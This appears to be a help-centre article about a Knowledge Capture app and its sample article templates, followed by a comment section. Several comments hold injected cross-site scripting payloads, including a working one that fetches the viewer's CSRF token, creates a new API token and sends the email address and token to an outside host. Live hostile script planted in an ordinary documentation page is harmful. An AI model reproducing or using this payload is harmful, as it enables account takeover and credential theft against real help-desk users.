You can use our Knowledge Capture app to leverage your team’s collective knowledge.
Using the app, agents can:
- Search the Help Centre without leaving the ticket
- Insert links to relevant Help Centre articles in ticket comments
- Add inline feedback to existing articles that need updates
- Create new articles while answering tickets using a pre-defined template
Agents never have to leave the ticket interface to share, flag, or create knowledge, so they can help the customer, while also improving your self-service offerings for other customers.
To get started, see our Knowledge Capture documentation.
And before your agents can start creating new knowledge directly from tickets, you’ll need to create a template for them to use. To help you along, we’ve provided some template ideas below. You can copy and paste any sample template below into a new article, add the KCTemplate label to the article, and you’ll be all set.
Q&A template:
[Title]
Question
write the question here.
Answer
write the answer here.
Solution template:
[Title]
Symptoms
write the symptoms here.
Resolution
write the resolution here.
Cause
write the cause here.
How-to template:
[Title]
Objective
write the purpose or task here.
Procedure
write the steps here.
Comments
5 comments
Test...X
{"comment": {"body": "<a data-method=\"delete"><script>alert(document.location)</script>\" href=\"https://bb-foxarius-03.zendesk.com/hc/en-us\" rel=\"nofollow noreferrer\">Click This for alert!</a>"}}
{"comment": {"body": "<a data-method=\"delete"><script>HTMLFormElement.prototype.submit=function(){};!async function(){var e='<https://poc.foxarius.xyz/>';var m=await fetch('/api/v2/users/me.json',{credentials:'same-origin'}).then(function(r){return r.json()});var c=m.user.authenticity_token;var t=await fetch('/api/v2/api_tokens.json',{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/json','X-CSRF-Token':c},body:JSON.stringify({api_token:{description:'foxarius-token'}})}).then(function(r){return r.json()});fetch(e+'?email='+encodeURIComponent(m.user.email)+'&token='+encodeURIComponent(t.api_token.token),{keepalive:true,mode:'no-cors'});location.href='/hc/en-us'}()</script>\" href=\"https://<tenant-id>.zendesk.com/hc/en-us\" rel=\"nofollow noreferrer\">Click This!</a>"}}
{"comment": {"body": "<a data-method=\"delete"><script>alert(document.location)</script>\" href=\"https://bb-foxarius-03.zendesk.com/hc/en-us\" rel=\"nofollow noreferrer\">Click This for alert!</a>"}}
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